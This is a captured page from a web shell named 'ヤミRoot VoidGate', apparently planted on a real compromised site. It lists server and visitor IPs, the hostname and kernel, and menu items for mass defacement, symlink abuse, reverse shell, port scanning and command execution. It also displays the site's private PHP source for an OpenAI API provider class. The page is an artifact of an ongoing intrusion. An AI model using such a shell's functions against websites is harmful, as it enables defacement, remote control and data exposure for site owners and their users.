ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
Modules
/
AI
/
AIProviders
/
Viewing: OpenAIProvider.php
<?php namespace Modules\AI\AIProviders; use Modules\AI\app\Contracts\AIProviderInterface; use OpenAI; class OpenAIProvider implements AIProviderInterface { protected string $apiKey; protected ?string $organization; public function getName(): string { return 'OpenAI'; } public function setApiKey($apikey): void { $this->apiKey = $apikey; } public function setOrganization($organization): void { $this->organization = $organization; } public function generate(string $prompt, ?string $imageUrl = null, array $options = []): string { $client = OpenAI::client($this->apiKey, $this->organization); $content = [['type' => 'text', 'text' => $prompt]]; if (!empty($imageUrl)) { $content[] = [ 'type' => 'image_url', 'image_url' => ['url' => $imageUrl], ]; } $response = $client->chat()->create([ 'model' => 'gpt-4o', 'messages' => [ [ 'role' => 'user', 'content' => $content, ], ], 'temperature' => 0.3, ]); return $response->choices[0]->message->content; } }
Coded With 💗 by
0x6ick